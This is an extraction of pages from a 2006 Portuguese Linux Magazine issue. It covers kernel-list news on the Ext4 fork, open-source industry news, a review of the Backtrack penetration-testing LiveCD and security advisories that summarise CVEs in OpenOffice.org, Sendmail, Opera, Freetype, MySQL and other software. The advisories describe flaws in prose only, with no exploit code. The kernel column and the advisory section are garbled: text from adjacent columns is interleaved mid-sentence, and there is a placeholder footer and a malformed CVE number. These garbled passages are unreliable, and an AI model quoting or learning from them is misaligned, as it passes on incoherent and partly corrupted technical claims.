Konqueror, é possível ativar o início dos plugins sob demanda, evitando assim o rápido consumo de recursos. Então, ganhou a aposta? ■

O autor Klaus Knopper é o criador do Knoppix e co-fundador do evento LinuxTag. Atualmente ele trabalha como professor, programador e consultor.

http://supertuxbr.blogspot.com 14

http://www.linuxmagazine.com.br


Transforme o poder do MultiCore em aplicativos de alto-desempenho. Tenha seus aplicativos preparados para o processamento paralelo e escalável. Faça certo na primeira vez: Intel® Threading Analysis Tools Localiza os problemas de threadings latentes com visualização em tempo real. Compiladores Intel C++ e Fortran Aumenta o desempenho sem mudar o ambiente de desenvolvimento Analisadores de Desempenho Intel VTune™ Identifica de forma bastante rápida gargalos de desempenho nos aplicativos Intel Integrated Performance Primitives Acesse bibliotecas de rotinas multimídia otimizadas para múltiplas plataformas Intel Math Kernel Library Aumenta o desempenho de aplicativos através do uso de rotinas otimizadas como BLAS, FFT, LAPACK, incluindo suporte a MPI

“As ferramentas de threading da Intel tem acelerado nosso ciclo de desenvolvimento imensamente”. Dana Batalli Diretora de Desenvolvimento do RenderMan Pixar

Itautec 0800 121444 www.itautec.com.br/intel Katalogo 0800 7729897 www.katalogo.com.br/intel MStech (11) 5080-3838 www.mstech.com.br/intel Strattus (11) 3531-6550 www.strattus.com.br/intel Tech Digital (11) 5181-1852 www.techdigital.com.br/intel

http://supertuxbr.blogspot.com © 2006 Intel Corporation, Intel, the Intel logo, Pentium, Itanium, Intel Xeon and VTune are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. *Other names and brands maybe claimed as the property of others.


Crônicas do kernel

COLUNA

Zack Brown

Esta coluna é baseada na seção “Zack’s Kernel News”, publicada na Linux Magazine International, e sintetiza o intenso tráfego da lista de discussão do kernel.

M

uitas discussões importantes a respeito do kernel A padronização da escrita é outro problema que gera acontecem sob a forma de flame wars. A guerra confusão. Andrew Morton corrigiu um patch enviado por da vez é a respeito do sistema de arquivos Ext4. David Woodhouse, no qual grafava-se tanto “color” quanto Uma mensagem na lista de discussão do kernel anunciou “colour”. Optou-se então por utilizar “color” ao longo de que empresas como RedHat e IBM desejam converter o todo o kernel, mas ainda há centenas de ocorrências de sistema Ext3 dos atuais 32 para 48 bits, com o intuito de “colour”, contra mais de 2000 da grafia americana. aumentar o tamanho máximo de arquivo, de 8 TB para Faxina nos sistemas de arquivos 1024 PB. Outras mensagens discutiam sobre a implemenNum insight inspirado, Theodore Y.T’so resolveu redutação de extents no Ext3, o que reduziria a fragmentação dos dados nesse sistema de arquivos. Essas mudanças de zir o uso de memória da struct de inodes do kernel, o que baixo nível tão importantes levantaram um questionamen- potencialmente favoreceria todos os sistemas de arquivos. to a respeito do nome da próxima versão do sistema de Ele encontrou diversos pontos onde seria possível eliminar arquivos. Seria mais apropriado lançá-las como um fork variáveis para economizar memória, mas reconheceu que do Ext3, chamado de Ext4? Apesar de essas mudanças tra- modificar todo o código que usa essas variáveis significazerem inegáveis melhorias potenciais sobre a velocidade e ria uma mudança drástica no código. Para ajudá-lo nisso, o tamanho, o Ext3 atualmente é uma bagunça de códigos, convidou outros desenvolvedores, e Alexander de Viro e difícil de manter e consertar e cheio de recursos úteis so- outros ofereceram-se de imediato. Dez dias depois, com mente a uma pequena parcela dos usuários. apoio de Linus, o grupo apresentou patches grandes e Os berros vieram invasivos, que realizavam boa parte do que ele havia proquando Linus Torvalds metido. Nem todos os patches cumpriam as promessas afirmou apoiar a idéia à risca, e diversos comentários técnicos surgiram, sendo do fork. Segundo ele, a a maioria bastante favorável. Apesar de não ter havido única mudança seria a festa nas ruas ou queima de fogos, muitos outros desenaplicação das alterações volvedores se juntaram ao grupo para ajudar a limpar e num pedaço separado de melhorar o patches. código, mantendo a árCooperação com a Intel vore do Ext3 como está No campo das cooperações externas, a Intel, por meio agora. Mas isso eliminaria a base de usuários de Inaky Perez-Gonzalez, anunciou seu projeto de supordo Ext4, que atualmente te a hardware compatível com os padrões WiMedia Ultra consiste das milhões de instalações do Ext3 no mundo Wide Band (UWB) e USB sem fio. O UWB é um padrão de inteiro. Outra dificuldade enorme refere-se à trabalho- comunicação de curtíssima distância, feito para pequenos síssima implementação no Ext3 das melhorias feitas ao ambientes, como salas. Embora o hardware ainda seja difícil Ext4. Linus diz que os consertos importantes ainda seriam ou impossível de encontrar, Inaky convidou desenvolvedores feitos ao Ext3, e que não seria necessário o backport de para participar do projeto e ajudar na programação. melhorias do Ext4, pois os usuários não se importam com as últimas inovações. Essas discussões são o que impulsiona o desenvolvimenO “dono” do kernel também expressou sua opinião to do kernel, e o fluxo de mensagens na lista de discussão marcante ao dizer que detesta o IRC e pedir aos desen- do kernel, a LKML, e demonstram o ritmo acelerado das volvedores do Git que prefiram a lista git@vger.kernel.org. mudanças e inovações que ocorrem por lá. ■ Ele lembra que qualquer um pode enviar mensagens à lista, o que diversos desenvolvedores creem ser justamente O autor seu ponto fraco. A abertura da lista significa que qualquer A lista de discussão Linux-Kernel é o núcleo das um pode enviar spam, dando a seus administradores um atividades de desenvolvimento do Kernel. Zack trabalho inacreditável para filtrar o conteúdo. A moderaBrown consegue se perder nesse oceano de ção de mensagens retiraria o direito, que Linus defende mensagens e extrair significado! Sua newsletcom os dentes, de qualquer pessoa do planeta a submeter ter Kernel Traffic já está completando 5 anos. relatos de falhas e consertos para a lista do kernel.

Os berros vieram quando Linus Torvalds afirmou apoiar a idéia do fork do ext3

http://supertuxbr.blogspot.com 16

http://www.linuxmagazine.com.br


Informe publicitário | PUBLICIDADE

Ceagesp migra para Software Livre Empresa referência nacional em abastecimento de alimentos adota tecnologia Open Source

Figura 1

A

falta de suporte para o sistema operacional até então utilizado foi um dos principais problemas que levaram a Ceagesp – Companhia de Entrepostos e Armazéns Gerais de São Paulo – a migrar sua tecnologia para a plataforma livre. “Optamos pela solução com Software Livre por apresentar a melhor relação custo-benefício e exigir menos hardware em relação às outras soluções”, esclarece Paulo Loesch, coordenador de suporte e infra-estrutura da companhia. A impossibilidade de crescimento no número de usuários e a falta de integração do servidor de domínio e do servidor de email também eram outras das dificuldades a serem superadas. “Pesquisamos várias empresas que dominavam a tecnologia Open Source e encontramos na 4Linux a confiança necessária para fazer todas as migrações que precisávamos”, afirma Loesch. As necessidades da Ceagesp não eram poucas: administração centralizada; aumento de desempenho; necessidade de atualizar o hardware; tolerância a falhas; log de eventos e auditoria; interligar unidades do interior com a matriz; unificação de senhas; controlar o acesso à Internet. E tudo foi possível com o uso de Software Livre. A 4Linux realizou migrações nos servidores de autenticação, email e webmail, proxy, firewall e servidor de arquivos, utilizando em todos eles a distribuição Debian. “Com a 4Linux, isso foi possível pelos profissionais altamente capacitados”, ressalta o coordenador de suporte da Ceagesp. Os resultados deste projeto foram uma administração centralizada de usuários e senhas, melhor desempenho dos servidores, suporte a um maior número de usuários e implementação de novos serviços, como VPN. ■

Paulo Loesch, da CEAGESP: “Optamos pela solução com Software Livre por apresentar a melhor relação custo-benefício”.

Sobre a CEAGESP A Ceagesp centraliza o abastecimento de boa parte do país e consolidou sua atuação nas áreas de comercialização de hortícolas e armazenagem de grãos. O entreposto da capital é considerado um dos maiores centros de comercialização atacadista de perecíveis do mundo, com a movimentação de 250 mil toneladas de frutas, legumes, verduras, pescados e flores a cada mês.

Sobre a 4Linux A 4Linux é uma empresa de Treinamento e Consultoria em Software Livre com foco em segurança, e já treinou mais de doze mil alunos. Realizou alguns dos maiores cases de Software Livre do Brasil, entre eles: Metrô de São Paulo, Casa da Moeda do Brasil, Ceagesp, EDS e Projeto CDTC (Centro de Difusão de Tecnologia e Conhecimento) – uma parceria entre a IBM e o ITI – que envolveu, entre outras ações, a maior capacitação em Linux do Brasil: 785 multiplicadores do MEC foram treinados pela 4Linux. Idealizadora do projeto HackerTeen – formação profissional em redes e segurança da computação, programação, empreendedorismo na Internet e ética hacker para jovens de 14 a 19 anos.

www.4linux.com.br www.hackerteen.com.br

http://supertuxbr.blogspot.com Informe publicitário | PUBLICIDADE


NOTÍCIAS | Geral

NOTÍCIAS

➧ Google lança repositório de Software Livre O Google lançou no fim de julho o Google Code, um repositório no estilo do SourceForge, destinado a abrigar projetos de código aberto. Inicialmente, foram hospedados no sistema somente projetos de interesse ao próprio Google, mas a partir do lançamento a hospedagem foi aberta a todos. O novo sistema possui semelhanças com o tradicional SourceForge, como um sistema de controle de versões, mas os responsáveis afirmam que alguns recursos úteis a desenvolvedores e projetos podem faltar.

No momento do fechamento desta edição, o serviço abrigava mais de 150 projetos de código aberto. Os responsáveis pelo serviço informam que não existe restrição à licença usada pelos projetos, desde que seja aberta, e que a maioria dos desenvolvedores estão de acordo com a licença BSD. As licenças GPL, Apache e MIT provavelmente também serão usadas em projetos futuros. É possível realizar buscas nos projetos hospedados no endereço http://code.google.com/hosting/. ■

➧ Lançado o SUSE Linux Enterprise 10

➧ Novell cancela distribuição de drivers fechados

Após diversos atrasos devido a novos recursos adicionados e devidamente configurados e integrados, a Novell lançou as duas versões do SUSE Linux Enterprise 10, o Server (SLES) e o Desktop (SLED). Entre as novidades estão a inclusão do Xgl para aceleração 3D no desktop, a mudança do nome da versão gratuita da distribuição para Open SUSE e a escolha do Gnome como ambiente de trabalho padrão, em detrimento do KDE, o qual ainda foi mantido na distribuição como opção para a instalação. ■

A Novell, fabricante da distribuição SUSE, anunciou que passará a distribuir somente drivers de código-fonte aberto em seus produtos Linux. Isso significa que as distribuições não mais virão com os já tradicionais drivers binários proprietários para algumas placas de vídeo. Porém, eles ainda serão distribuídos no site da Novell para que os usuários façam o download. O vice-presidente de produtos Linux da empresa, Holger Dyroff, afirma que a mudança visa a adequar a distribuição aos requisitos da Free Software Foundation, que prega que somente sejam incluídos nas distribuições softwares livres. ■

➧ OpenDarwin fecha as portas

O projeto OpenDarwin, criado e mantido pela Apple, fechou suas portas. Originalmente idealizado para fomentar e abrigar o desenvolvimento de um kernel a ser usado como base para o Darwin, o kernel do MacOS X, o projeto não atingiu seus objetivos e acabou tornando-se um simples repositório de projetos relacionados ao sistema operacional da Apple. Entre os diversos fatores que contribuíram para o fechamento do projeto, segundo os responsáveis, estão a indisponibilidade de códigos-fonte, interação com representantes da Apple, dificuldades na compilação e acompanhamento dos fontes e falta de interesse da comunidade. ■

➧ 800 mil Computadores para todos Um levantamento da revista ARede mostrou que foram vendidos até o fim de julho deste ano 800 mil unidades do programa federal de democratização do acesso à informática, o Computador para Todos. Na contabilização, foram levados em conta, além das vendas diretas das máquinas com o selo do programa, financiamentos de bancos para compra de computadores nos moldes previstos, e também as vendas de micros diversos com preços próximos à faixa de R$ 1.200,00. Como resultado, pela primeira vez o número de vendas de computadores legalizados foi superior ao de máquinas sem nota fiscal, no mês de abril. ■

➧ Celulares Motorola com Linux

A Motorola anunciou que utilizará uma solução baseada em Linux e Java nos aparelhos sucessores da família Razr. Dois dos principais objetivos da solução são reduzir custos de desenvolvimento e facilitar o desenvolvimento de aplicativos. Os aparelhos devem ser lançados mundialmente ainda em 2006. ■

➧ Fedora Women

Seguindo a tendência das LinuxChix, Debian Women e Ubuntu Women de incentivar a participação feminina na comunidade de software livre, o Projeto Fedora lançou o Fedora Women. O Wiki do projeto afirma que há muitas mulheres compondo a base de usuários do Fedora Core, e que essa é uma forma de aumentar sua representação na comunidade. ■

➧ Curso de programação Linux na Mandriva Conectiva A empresa lançou o curso “Linux Programming”, voltado à formação de profissionais aptos a desenvolver aplicativos para Linux. Os professores são profissionais especializados da Mandriva Conectiva, a carga horária é de 40 horas, e são necessários conhecimentos em C, C++ e administração de sistemas GNU/ Linux. O curso inclui também o desenvolvimento de aplicativos gráficos, e será ministrado na cidade de São Paulo. ■

http://supertuxbr.blogspot.com 18

http://www.linuxmagazine.com.br


Geral | NOTÍCIAS

➧ Distribuição em destaque Esta nova seção se dedica à análise de uma distribuição Linux alinhada com o tema de capa. Essa distribuição ficará disponível para download no site da Linux Magazine como de costume. Os assinantes passarão a receber um DVD-ROM por semestre, com distribuições Linux completas e customizadas.

navegador, o usuário só tem o trabalho de selecionar o programa alvo, o sistema operacional, entrar alguns dados necessários (como portas a serem usadas, por exemplo), e o ataque é desferido. Há também uma seção inteira do menu Backtrack dedicada a exploits e configurações de máquinas Cisco. A configuração de redes e dispositivos WiFi e Bluetooth é muito facilitada, com diversos diálogos gráficos.

Já que neste mês estamos falando de invasões, apresentamos a nossos leitores o Backtrack. Trata-se de uma distribuição em LiveCD totalmente voltada à segurança em redes. Após uma rápida inicialização, o CD não levanta nenhuma interface de rede, e também não inicia a interface gráfica, permitindo assim que o usuário defina todas as ações a serem tomadas. Se escolher entrar no X, o usuário terá um KDE com um visual surpreendentemente agradável para uma distribuição voltada para hackers. O ambiente desktop faz bom uso de transparências e outros artefatos visuais (os famosos eye candies). No menu principal, acima das seções normais (Multimídia, Internet, Sistema...) está o item Backtrack. Ao abri-lo, diversas ferramentas de segurança serão mostradas, separadas por finalidade. Há todos os tipos de programas de segurança, entre sniffers, exploradores de exploits, ferramentas para configuração de redes ethernet, WiFi e Bluetooth.

O sistema é desenhado com o objetivo principal de realizar testes de penetração em redes. Com o LiveCD, o administrador pode se utilizar de boa parte dos recursos que os hackers também terão, e assim garantir que sua rede seja a mais difícil de invadir, afastando invasores e garantindo a privacidade e a segurança.

Entre as ferramentas para exploits, uma que se destaca é o Metasploit, uma interface web para exploração de vulnerabilidades de todo tipo de programas e dispositivos, desde o Apache até o vBulletin. Através do Metasploit, que se abre no

Na parte forense, o Autopsy fornece uma interface web para o Sleuth Kit, também incluído na distribuição, que faz análises dos discos locais e oferece toda a informação possível a respeito dos dados gravados nos sistemas de arquivos. Cada entrada do menu do Backtrack traz uma nova gama de ferramentas de análise de segurança e testes de penetração. Para quem precisa ou simplesmente se interessa, a distribuição é uma ótima companhia para se ter na mochila. O Backtrack foi criado com a fusão de dois LiveCDs voltados a testes de penetração em redes, o Whax e o Auditor, e baseia-se no Slax – que tem o Slackware como base. Os autores afirmam que o Backtrack é a melhor versão das distribuições que o formaram, e sua base garante modularidade e possibilidades de personalização. ■

http://supertuxbr.blogspot.com Linux Magazine #XX | Mês de 200X

19


SEGURANÇA

➧ Múltiplas falhas no OpenOffice.org O OpenOffice.org é uma suíte de aplicativos de escritório que inclui programas como processador de texto, planilha eletrônica, gerenciador de apresentações, editor de fórmula e programa para desenhos. Um especialista em segurança da Sun relatou um problema com a infraestrutura do aplicativo. Um agressor poderia inserir macros em locais do documento de forma a fazer o OpenOffice.org executá-los quando o arquivo for aberto pela vítima. (CVE-2006-2198) Uma falha foi encontrada na implementação da máquina virtual Java do OpenOffice.org. Um agressor poderia escrever um applet Java especialmente criado para atravessar a “san-

➧ Sendmail

O Sendmail é um Agente de Transporte de Emails (MTA), usado para enviar e receber emails. Uma falha no processamento de mensagens MIME multi-part foi descoberta no Sendmail. Um agressor remoto poderia usar uma mensagem especialmente criada para parar o Sendmail durante a entrega de mensagens (CVE-200601173). Em muitos casos, o Sendmail é configurado para só aceitar conexões a partir da máquina local. Portanto, somente os usuários que tenham configurado o Sendmail para escutar pedidos remotos estão vulneráveis a este problema. ■

dbox” e ganhar acesso total aos recursos do sistema com os privilégios do usuário atual. (CVE-2006-2199) Uma falha de estouro de buffer foi encontrada no processador de arquivos do OpenOffice.org. Um agressor poderia criar um arquivo XML especialmente criado para fazer o OpenOffice.org gravar dados em uma posição arbitrária da memória quando o arquivo for aberto pela vítima. (CVE-2006-3117) ■ Referência no Debian: DSA-1104-2 Referência no Mandriva: MDKSA-2006:118 Referência no Red Hat: RHSA-2006:0573-10 Referência no Suse: SUSE-SA:2006:040

excessivamente grandes de largura e altura forem especificados em alguns campos de um arquivo JPEG, um estouro de inteiros pode fazer o Opera alocar memória insuficiente para a imagem. Isso leva a um estouro de buffer quando a imagem for carregada na memória, o que pode ser explorado para executar código arbitrário. CVE-2006-3331: O Opera não zera a barra de segurança SSL após mostrar um diálogo de download de um site com SSL, o que permite que agressores remotos falsifiquem um certificado SSL de um site não confiável e facilite ataques do tipo phishing. ■ Referência no Suse: SUSE-SA:2006:038

Referência no Red Hat: RHSA-2006:0515-14 Referência no Slackware: SSA:2006-166-01 Referência no Suse: SUSE-SA:2006:032

➧ Opera 9

O navegador Opera 9 foi atualizado para a versão 9.0, para acrescentar diversos novos recursos e resolver alguns problemas de segurança. CVE-2006-3198: Uma vulnerabilidade de estouro de inteiros existe no navegador Opera devido ao processamento incorreto de arquivos JPEG. Se valores

Referência no Gentoo: GLSA 200606-22 Referência no Mandriva: MDKSA-2006:107 Referência no Slackware: SSA:2006-178-03

Referência no Gentoo: GLSA 200606-19 Referência no Mandriva: MDKSA-2006:104

➧ aRts

O aRts é um sistema modular de tempo real para síntese de áudio usado pelo KDE. O artswrapper é um aplicativo auxiliar usado para iniciar o daemon aRts. O artswrapper não consegue verificar corretamente se pode se desfazer de privilégios exagerados se um setuid() falhar quando um usuário ultrapassar os limites de recursos permitidos. Agressores locais podem explorar essa vulnerabilidade para executar código mal intencionado com privilégios elevados. ■

Referência no Suse: SUSE-SR:2006:015

➧ Kdebase

Os pacotes kdebase fornecem os aplicativos centrais do KDE, e incluem o KDE Display Manager, ou KDM. Ludwig Nussel encontrou uma falha no KDM. Um usuário local do KDM poderia usar um ataque de symlink para ler um arquivo arbitrário que o usuário não tenha permissão para ler. (CVE-2006-2449) ■ Referência no Gentoo: GLSA 200606-23 Referência no Mandriva: MDKSA-2006:105 Referência no Red Hat: RHSA-2006:0548-5 Referência no Slackware: SSA:2006-178-01 Referência no Suse: SUSE-SA:2006:039

➧ Freetype

Freetype é um mecanismo para renderização de fontes. Uma falha do tipo integer underflow no Freetype anterior à versão 2.2 permite que agressores remotos causem uma negação de serviço através de um arquivo de fontes com um número ímpar de valores azuis, que causam o underflow ao serem decrementados de dois num contexto que espera um número par de valores. (CVE-2006-0747) Múltiplos estouros de inteiros no Freetype anterior à versão 2.2 permitem que

http://supertuxbr.blogspot.com 20

http://www.linuxmagazine.com.br


Segurança | NOTÍCIAS

agressores remotos causem uma negação documento do Microsoft Word made serviço (travamento) e possivelmente liciosamente criado. ■ executem código arbitrário através de Referência no Debian: DSA-1100-1 wv2 vetores de ataque relacionados a (1) bdf/ Referência no Gentoo: GLSA 200606-24 bdflib.c, (2) snft/ttcmap.c, (3) cff/cffgload. Referência no Mandriva: MDKSA-2006:109 c e (4) à função read_lwfn em um arquivo Referência no Suse: SUSE-SR:2006:015 LWFN especialmente criado em base/ftmac. c. (CVE-2006-1861) O Ftutil.c no Freetype anterior à versão 2.2 permite que agressores remotos causem uma negação de serviços Xine-lib é o motor central do reprodu(travamento) através de um arquivo tor de vídeo Xine. Um estouro de buffer de fontes especialmente criado que no plugin HTTP (xineplug_inp_http.so) dispare uma de-referenciação nula. para xine-lib 1.1.1 permite que agressores (CVE-2006-2661) ■ remotos causem uma negação de serviço Referência no Debian: DSA-1095-1 (travamento do aplicativo) através de uma resposta longa de um servidor HTTP, Referência no Mandriva: MDKSA-2006:099-1 como demonstrado com o uso do gxine 0.5.6 (CVE-2006-2802). Além disso, um possível estouro de buffer existe no AVI demuxer, semelhante ao CVE-2006-1502 O wv2 é uma biblioteca de filtros para para MPlayer. ■ arquivos do Microsoft Word usada em Referência no Debian: DSA-1105-1 diversas suítes de escritório. Referência no Mandriva: MDKSA-2006:108 Um erro de verificação de limites foi encontrado no wv2, e poderia levar a um estouro de inteiros. Um agressor conseguiria executar código arbitrário com os direitos do usuário O MySQL é um popular servidor SQL que estivesse rodando o programa multi-threaded e multiusuário. Agressoque usa a biblioteca, através de um res poderiam ler porções da memória

➧ Xine-lib

➧ wv2

➧ MySQL

usando um nome de usuário terminado por um caractere nulo, através do comando COM_TABLE_DUMP (CVE-2006-1516, CVE-2006-1517). Agressores potencialmente poderiam executar código arbitrário através de um estouro de buffer causado por pacotes COM_TABLE_DUMP especialmente criados. (CVE-2006-1518) ■ Referência no Gentoo: GLSA 200606-13 Referência no Mandriva: MDKSA-2006:111 Referência no Suse: SUSE-SA:2006:036

➧ Hashcash

O Hashcash é um utilitário para gerar tokens de Hashcash, um sistema de prova de conceito para reduzir o impacto do spam. Andreas Seltenreich relatou um possível estouro de fila na função array_ push() em hashcash.c, como resultado de uma quantidade incorreta de memória alocada para a estrutura ARRAY. Ao mandar entradas maliciosas para o utilitário Hashcash, um agressor pode conseguir causar um estouro, potencialmente resultando na execução de código arbitrário com os privilégios do usuário que estiver rodando o aplicativo. ■ Referência no Gentoo: GLSA 200606-25

Postura das principais distribuições Linux quanto à segurança Distribuição

Referência de Segurança

Comentários

Conectiva

Info: distro2.conectiva.com.br/ Lista: seguranca-admin@distro.conectiva.com.br e distro2.conectiva.com.br/lista Referência: CLSA-... 1

Possui uma página específica; não há link para ela na página principal. Os alertas são sobre segurança, mas distribuídos através de emails assinados com a chave PGP da empresa para assegurar sua autenticidade. Contém também links para os pacotes atualizados e para fontes de referência sobre o problema sendo corrigido.

Debian

Info: www.debian.org/security Lista: lists.debian.org/debian-security-announce Referência: DSA-… 1

Alertas de segurança recentes são colocados na homepage e distribuídos como arquivos HTML com links para os patches. O anúncio também contém uma referência à lista de discussão.

Gentoo

Info: www.gentoo.org/security/en/gsla/index.html Fórum: forums.gentoo.org Lista: www.gentoo.org/main/en/lists.xml Referência: GLSA: … 1

Os alertas de segurança são listados no site de segurança da distribuição, com link na homepage. São distribuídos como páginas HTML e mostram os comandos necessários para baixar versões corrigidas dos softwares afetados.

Mandriva

A Mandriva tem seu próprio site sobre segurança. Entre outras Info: www.mandriva.com/security Lista: www1.mandrdrivalinux.com/en/flists.php3#2security coisas, inclui alertas e referência a listas de discussão. Os alertas são arquivos HTML, mas não há links para os patches. Referência: MDKSA-… 1

Red Hat

Info: www.redhat.com/errata Lista: www.redhat.com/mailing-lists Referência: RHSA-… 1

A Red Hat classifica os alertas de segurança como “Erratas”. Problemas com cada versão do Red Hat Linux são agrupados. Os alertas são distribuídos na forma de páginas HTML com links para os patches.

Slackware

Info: www.slackware.com/security Lista: www.slackware.com/lists (slackware-security) Referência: [slackware-security] … 1

A página principal contém links para os arquivos da lista de discussão sobre segurança. Nenhuma informação adicional sobre segurança no Slackware está disponível.

SUSE

Info: www.novell.com/linux/security Lista: www.novell.com/linux/download/updates Referência: suse-security-announce Referência: SUSE-SA … 1

Após mudanças no site, não há mais um link para a página sobre segurança, que contém informações sobre a lista de discussão e os alertas. Patches de segurança para cada versão do Suse são mostrados em vermelho na página de atualizações. Uma curta descrição da vulnerabilidade corrigida pelo patch é fornecida.

1 Todas as distribuições indicam, no assunto da mensagem, que o tema é segurança.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

21


CORPORATE

➧ Compra da ATI pela AMD pode beneficiar Linux A Advanced Micro Devices, segunda maior fabricante de semicondutores, comprou a ATI Technologies, uma das duas maiores fabricantes de chips gráficos. O valor da compra foi de aproximadamente US$ 5,4 bilhões, e o valor das ações da ATI subiu vertiginosamente. Com a aquisição, a AMD espera aumentar sua participação no mercado de computadores portáteis, e isso pode favorecer o Linux. Analistas aumentando sua velocidade e adotando um calendário de sugerem que a amistosidade da AMD com o Linux pode lançamentos de novas versões, o que reforça a idéia de seu resultar na abertura do código dos drivers das placas de vídeo impulso em direção ao mercado do código aberto, incluinda ATI, o que rapi- do também potencialmente a crescente fatia do mercado damente poderia de desktops Mac. No evento em que executivos de ambas levar a concorrên- as empresas anunciaram a fusão, diversas alfinetadas focia, isso é, Nvidia, ram dadas contra a concorrente Intel, e muito se falou em a fazer o mesmo. “desbancar o monopólio”. O comunicado à imprensa anunAntes da compra, a ciou ainda que os fabricantes pretendem, em poucos anos, ATI já havia come- unir em um único chip a CPU e a GPU, da mesma forma çado a melhorar a como se uniram diversas CPUs nos atuais processadores qualidade de seus multi-core, facilitando assim a mobilidade, aumentando drivers para Linux, o desempenho e reduzindo os preços. ■

Curtas Debian na ACR A ACR, provedora de cursos de capacitação em TI, mudou a distribuição utilizada em seus cursos de Linux. A distribuição escolhida foi o Debian 3.1, devido à forte proposta social e ao reconhecimento internacional dessa distribuição. A distribuição usada antes era a Conectiva, mas após sua fusão à Mandriva optou-se pela mudança. Faculdade IBTA oferece curso de Linux O Centro de Treinamento da Faculdade IBTA, em São Paulo, abriu as inscrições para o curso de formação Mandriva Conectiva Linux 2006. O programa é composto pelos módulos “Linux System Administrator” e “Linux Network Administrator”, e é atualizado com a última versão do sistema operacional. Pingüim na Boeing A Boeing fechou um contrato com a empresa americana Wind

➧ Recorde em bancos de dados com IBM e Sybase A IBM e a Sybase estabeleceram juntas um novo recorde de desempenho no processamento de transações em servidores dual-core com Linux. No benchmark TPC-C, amplamente utilizado pela indústria, a combinação de um servidor dual-core IBM System p5 520 com o Sybase Adaptive Server Enterprise superou o recorde anterior, atingindo a marca de 81.439 transações por minuto (tpmC). Os critérios e resultados do benchmark TPC-C estão disponíveis em http://www.tpc.org. Comparada a outras, essa combinação supera a obtida por um sistema HP/Itanium2 dual-core com Oracle 10g em 58%, e tem o custo por transação 30% menor do que o de um HP/Opteron dual-core com Microsoft SQL Server. ■

River Systems para usar a distribuição embutida dessa companhia em uma nova aeronave militar. O sistema operacional será usado em tarefas de monitoramento, entre outras, no P-8A Multi-Mission Maritime Aircraft, um 737 modificado especialmente para a marinha americana. O Linux não será usado no sistema de navegação e controle da aeronave. Fundada em 1981, a Wind River é especializada em Linux embarcado e middleware para esse tipo de sistema. No final de julho, a empresa anunciou a doação de 300 mil linhas de código para a Eclipse Foundation. As contribuições vão beneficiar quatro projetos: o C/C++ Development Tools (CDT), o Platform Project e tanto o Target Management quanto o Device Debugging (DD), subprojetos do Device Software Development Platform (DSDP). O Eclipse é um framework de desenvolvimento de código aberto, multiplataforma, usado no famoso IDE (Integrated Development Environment) JDT (Java Development Toolkit), por exemplo.

➧ Xandros oferece Linux para versões órfãs do Windows Com a Microsoft cessando a oferta de suporte às versões 98, 98SE e Me do sistema operacional Windows®, a Xandros, fabricante de distribuições Linux amigáveis, está oferecendo aos 50 milhões de usuários “órfãos” de suporte uma oportunidade de substituição do sistema operacional pelo Linux. As versões ofertadas do sistema da Xandros são a Desktop Home Edition e a Home Edition Premium, ambas lançadas recentemente e com suporte total e atualizações via Internet. O desconto oferecido para a migração é de 50%, e não é necessária a exclusão da instalação do Windows na mesma máquina. Além disso, dispensa as atualizações de hardware requeridas para a atualização do produto Windows. ■

http://supertuxbr.blogspot.com 22

http://www.linuxmagazine.com.br


Notícias | CORPORATE

➧ Linux expande processamento e armazenamento em empresa de alimentos A Doux Frangosul, uma das maiores empresas de alimentos do Brasil, baseou-se no Linux para expandir sua capacidade de processamento e armazenamento. Com seu novo parque tecnológico, iniciado pela implantação de um mainframe da família IBM z800 e seguido pela solução de armazenamento IBM DS 6000, a empresa reduziu em 70% o tempo de backup dos servidores. Rafael Nicolela, gerente geral de TI da Doux Frangosul, reconhece o Linux como um dos benefícios da plataforma, por ser “um sistema operacional robusto e confiável, que nos permite utilizar a infraestrutura do servidor mainframe para abrigar aplicações anteriormente residentes em plataformas Unix e Intel, aumentando a disponibilidade e reduzindo o Custo Total de Propriedade. Nosso serviço corporativo de dados e o servidor de aplicação web já estão rodando em Linux no mainframe”, conclui Nicolela. ■

Curtas Wiki corporativo A empresa americana MindTouch lançou o DekiWiki, um sistema web do tipo wiki (edição colaborativa) comercial de código aberto, totalmente baseado em formatos livres. Voltado para uso corporativo, o sistema é baseado no MediaWiki, software em que toda a enciclopédia online Wikipédia é baseada. Entre os diferenciais está a interface de edição 100% WYSIWYG (“what you see is what you get”, ou seja, as formatações HTML são feitas como num editor de textos, sem a necessidade de se usar códigos e tags). A MindTouch oferece também hospedagem para o DekiWiki. O programa pode ser baixado em www.opengarden.org. Becape para VMware A Invenci.com, fornecedora de soluções de TI para negócios, lançou no Brasil o aplicativo esxRanger, para becape do software de virtualização VMware ESX Server. O esxRanger Professional permite recuperar ambientes virtuais criados pelo VMware ESX, garantindo a integridade dos dados dentro da máquina virtual. O esxRanger compacta os arquivos .VMDK antes de enviar o conteúdo para o repositório de becape, que pode rodar Linux ou Windows®, além de oferecer suporte aos ambientes NAS, SAN, Novell e UNC. A taxa de compressão pode chegar a até 70%, segundo a empresa, facilitando o manuseio das imagens de segurança. Versão final do Panda Foi lançada a versão final do Panda DesktopSecure para Linux, um conjunto de utilitários de segurança, incluindo antivírus, anti-spyware e firewall.

➧ Novo gerente de Marketing da Red Hat no Brasil A Red Hat, um dos nomes de maior credibilidade no mundo do código aberto, contratou o publicitário David Barzilay para a gerência de marketing da nova filial brasileira da empresa. David trabalhou de 2002 a 2005 no escritório da Red Hat Ásia-Pacífico, em Brisbane, Austrália, e é o único representante brasileiro no Comitê Geral de Embaixadores do Fedora. David ocupará também o cargo de gerente de relacionamento para a América do Sul, onde terá as funções de intermediar as relações entre os embaixadores locais do Fedora e o Comitê Geral e oferecer suporte aos embaixadores do Fedora na América do Sul e ao projeto One Laptop per Child. Na função de gerente de marketing, David, reconhecido pela Red Hat como “uma importante liderança na comunidade open source”, será responsável por prover suporte à área comercial, aumentar o reconhecimento da marca Red Hat no Brasil, representar a empresa nos eventos corporativos e comunitários e participar das relações entre a comunidade brasileira e a empresa. “Meu objetivo é mostrar ao mercado que a Red Hat veio para ficar e posicioná-la como líder do mercado brasileiro em soluções Linux. Além disso, quero contribuir ainda mais para projetos de inclusão digital, onde a Red Hat atua”, colocou David. ■

